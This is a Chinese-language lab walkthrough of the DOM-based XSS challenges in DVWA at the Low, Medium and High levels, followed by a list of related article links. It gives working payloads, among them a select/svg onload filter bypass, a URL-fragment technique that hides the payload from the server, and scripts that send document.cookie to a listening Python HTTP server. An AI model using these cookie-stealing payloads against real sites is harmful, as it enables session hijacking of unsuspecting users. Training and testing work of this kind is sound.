DVWA -XSS(DOM)-通关教程-完结

DVWA -XSS(DOM)-通关教程-完结

XSS 攻击全称跨站脚本攻击。是指用户在 Web 页面中提交恶意脚本,从而使浏览包含恶意脚本的页面的用户在不知情的情况下执行该脚本,导致被攻击的行为。
与 SQL 注入类似,XSS 也是利用提交恶意信息来实现攻击效果的攻击行为。但是 XSS 一般提交的是 Javascript 脚本,运行在 Web 前端,也就是用户的浏览器;而 SQL 注入提交的SQL 指令是在后台数据库服务器执行。所以两者攻击的对象是不一样的。
XSS 按照攻击的手法,一般可以分为反射型 XSS(Reflected)、存储型 XSS(Strored)、DOM 型 XSS(DOM)。
反射型 XSS 是指恶意的攻击脚本包含在 URL 中,只有当用户访问了包含恶意脚本的 URL,才会被害。反射型的攻击,攻击脚本不会写入网站的数据库,是一次性的攻击,所以黑客一般需要诱骗用户点击包含攻击脚本的 URL,才能攻击成功。
存储型 XSS 则是把攻击脚本提交到网站后台数据库,只要有人访问了显示该数据内容的页面,就会被攻击。比较常见的场景就是黑客发表了一篇包含攻击脚本的帖子,那么只要有人访问该帖子内容的用户,就会自动在他们的浏览器上执行攻击脚本。相对于反射型,存储型的 XSS 成功率更高。
DOM 型 XSS 是指基于 DOM 文档对象模型的 XSS 攻击。编写网页时,经常会用到各种 DOM 对象,如document.referer、document.write 等等。DOM 型XSS 攻击的输出点就位于 DOM 对象上。严格来说,DOM 型 XSS 即有可能是反射型,也有可能是存储型

文章目录

Low级别DOM型XSS攻击实战

1.安全级别设置为Low,点击XSS(DOM),进入DOM型XSS攻击页面。可以看到 URL 参数 default

2.尝试在default=后提交弹窗脚本输出当前cookie,可以直接弹窗。说明当前级别没有对攻击脚本做任何过滤和转义。

复制代码
 <script>alert('XSS')</script>

3.目标是获取目标用户的 cookie 值,因此需要使用一个能够获取其 cookie 并将其发送给我们的有效载荷。启动一个 Python3 HTTP 服务器:

复制代码
 $ python3 -m http.server 8888
 Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

4.输入以下攻击载荷,并将获取到的Cookie值发送到 HTTP 服务器 (注意服务器IP地址的填写)

复制代码
 <script>window.location='http://127.0.0.1:8080/?cookie=' + document.cookie</script>

5.HTTP服务器上即可收到Cookie

Medium级别DOM型XSS攻击实战

1.安全级别设置为Medium,进入DOM型XSS攻击页面,查看页面源码,发现将 <script 标签替换成了 ?default=English,所以之前的攻击载荷无法正常工作。但查看页面源码会看到一个 select 语句;稍微修改一下攻击载荷即可绕过防御。

复制代码
 </select><svg/onload=alert(1)>


2.可以使用与之前相同的方法来窃取目标用户的 cookie

bash 复制代码
 </select><svg/onload=window.location='http://127.0.0.1:8080/?cookie='+document.cookie>



High级别DOM型XSS攻击实战

1.在这个层面上,开发者设置了一个白名单,只允许使用一组预定义的语言;任何其他语言都会被替换为?default=English。这里发生的情况是,当发送包含有效负载的 GET 请求时,它会被重定向到一个带有?default=English新 GET 请求。

bash 复制代码
/?default=<script>alert(document.cookie)</script>

2.在阅读 OWASP 关于基于 DOM 的 XSS 的页面,在 "高级技术和衍生技术" 部分中,基于 DOM 的 XSS 论文详细介绍了一种避免服务器端检测的技术。除了 document.location 之外,还描述了有效载荷的其他几个可能位置。

这种避免将有效载荷发送到服务器的技术依赖于这样一个事实: URI 片段(URI 中"#"之后的部分)不会被浏览器发送到服务器 。因此,任何引用 document.location 等的客户端代码都可能容易受到利用片段的攻击,在这种情况下,攻击载荷永远不会被发送到服务器。

例如,上述基于 DOM 的 XSS 可以修改为:

bash 复制代码
 http://www.wwdzs.com/page.html#default=<script>alert(document.cookie)</script>

代码会发起同样的攻击,但服务器却看不到(服务器只会看到对 page.html 的请求,而没有任何 URL 参数)。

3.稍作修改攻击载荷来获取 cookie

bash 复制代码
python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ..
bash 复制代码
/xss_d#default=<script>window.location='http://127.0.0.1:8080/?cookie=' + document.cookie</script>
相关推荐
lifejump2 小时前
Pikachu | XSS
前端·xss
进击的野人2 小时前
Vue 组件与原型链:VueComponent 与 Vue 的关系解析
前端·vue.js·面试
馬致远2 小时前
Vue todoList案例 优化之本地存储
前端·javascript·vue.js
请叫我聪明鸭2 小时前
CSS实现单行、多行文本超长显示 / 不超长隐藏、悬浮窗超长展示/不超长隐藏、悬浮窗手动控制样式
前端·javascript·css
blackorbird2 小时前
苹果修复了两个在定向攻击中被利用的Webkit漏洞,其中一个与谷歌ANGLE漏洞同源
前端·webkit
席之郎小果冻2 小时前
【04】【创建型】【聊一聊,建造者模式】
java·前端·建造者模式
风无雨2 小时前
在 React 中实现数学公式显示:使用 KaTeX 和 react-katex
前端·react.js·前端框架
wanhengidc2 小时前
巨 椰 云手机 满足多元需求
运维·服务器·安全·智能手机·云计算
二两锅巴2 小时前
📺 无需Electron!前端实现多显示器浏览器窗口精准控制与通信
前端